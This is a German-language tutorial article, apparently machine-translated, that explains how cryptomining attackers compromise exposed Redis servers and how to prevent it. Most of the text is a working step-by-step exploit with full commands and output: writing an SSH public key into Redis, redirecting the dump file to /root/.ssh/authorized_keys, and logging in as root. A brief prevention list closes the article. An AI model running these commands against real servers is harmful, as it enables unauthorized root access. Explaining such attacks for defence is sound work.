Heim  >  Artikel  >  Datenbank  >  Eine kurze Analyse der Prinzipien des Redis-Mining und wie man es verhindern kann (Skill-Sharing)

Eine kurze Analyse der Prinzipien des Redis-Mining und wie man es verhindern kann (Skill-Sharing)

青灯夜游
青灯夜游nach vorne
2022-01-11 18:49:461795Durchsuche

In diesem Artikel geht es um die Prinzipien des Redis-Minings, es wird erläutert, wie man es verhindern kann, und es werden Präventionstechniken vorgestellt. Ich hoffe, dass es für alle hilfreich sein wird!

Eine kurze Analyse der Prinzipien des Redis-Mining und wie man es verhindern kann (Skill-Sharing)

Der Autor wurde auch von einem Mining-Virus angegriffen, was sehr unangenehm war, aber tatsächlich ist es sehr einfach, ihn zu verhindern, solange man die Mittel zum Eindringen versteht. Heute zeigen wir, wie man ihn erhält der Root-Benutzer des Remote-Servers durch Redis-Berechtigungseskalation. [Verwandte Empfehlungen: Redis-Video-Tutorial]

1. Zuerst benötigen wir einige Voraussetzungen

  • Bedingung 1: Sie müssen zuerst einen Redis haben und wir müssen seinen Port kennen [Standard 6379];

    Bedingung 2: Das Passwort für Redis darf nicht zu komplex sein, oder es gibt kein Passwort.
  • Bedingung 3: Der Benutzer, der Redis startet, ist vorzugsweise ein Root-Benutzer, was destruktiver ist Ärger verursachen
  • 2.1 Erstellen Sie ein Paar geheimer Schlüssel

Generieren Sie ein Paar über ssh-keygen. Natürlich können Sie die bereits vorhandenen Schlüssel problemlos verwenden.

root@kali:/usr/local/src# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
    Als nächstes wird der Angriffsschlüsselwert über den öffentlichen Schlüssel generiert
  • (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt
    Der Inhalt ist wie folgt
    root@kali:/tmp/rediskey# cat foo.txt 
    
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
  • Der Zweck des Hinzufügens von zwei Zeilenumbrüchen davor und danach besteht darin, zu verhindern, dass die Daten miteinander verbunden werden und Fehlerprobleme verursachen.

2.2 Schlüssel für Redis konfigurieren

Der Vorgang ist wie folgt:

root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
OK
    Melden Sie sich bei Redis an, um zu überprüfen, ob er in Redis geschrieben wurde.
  • root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
    192.168.243.129:6379> get bar
    "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
  • 2.3 Systemdateien über den Redis-Speichermechanismus ersetzen

Sehen wir uns die folgenden Vorgänge an

192.168.243.129:6379> config set dir /root/.ssh
OK
192.168.243.129:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.243.129:6379> config set dbfilename "authorized_keys"
OK
192.168.243.129:6379> save
OK
192.168.243.129:6379> exit
    Zu diesem Zeitpunkt melden wir uns beim Remote-Host an, um den Effekt zu sehen.
  • root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
    The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.
    ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.
    Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64
    
    Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
    root@kali:~# w
    OK, jetzt haben wir die Rechte erfolgreich eskaliert, also werfen wir einen Blick auf die exportierte Datei? Tatsächlich handelt es sich nur um die gespeicherte Dateiform von Redis. Wenn Sie interessiert sind, können Sie sie selbst öffnen und sehen. Sie wird hier nicht angezeigt.
3. So verhindern Sie

Jetzt haben wir nur eine Host-Berechtigung, um einige Skripte auszuführen und sie dann stapelweise zu infizieren.

Die Tipps zur Vorbeugung lauten wie folgt:

Redis sollte nicht auf gefährliche IPs hören.

Redis muss die Passwortbeschränkungen erhöhen, und es darf kein schwaches Passwort sein

    Redis sollte versuchen, nicht als Root-Benutzer zu starten.
  • Befolgen Sie die oben genannten drei Punkte, um Redis-Mining zu verhindern, kein Problem
  • Weitere Programmierkenntnisse finden Sie unter:

    Einführung in die Programmierung
  • ! !

Das obige ist der detaillierte Inhalt vonEine kurze Analyse der Prinzipien des Redis-Mining und wie man es verhindern kann (Skill-Sharing). Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:cnblogs.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen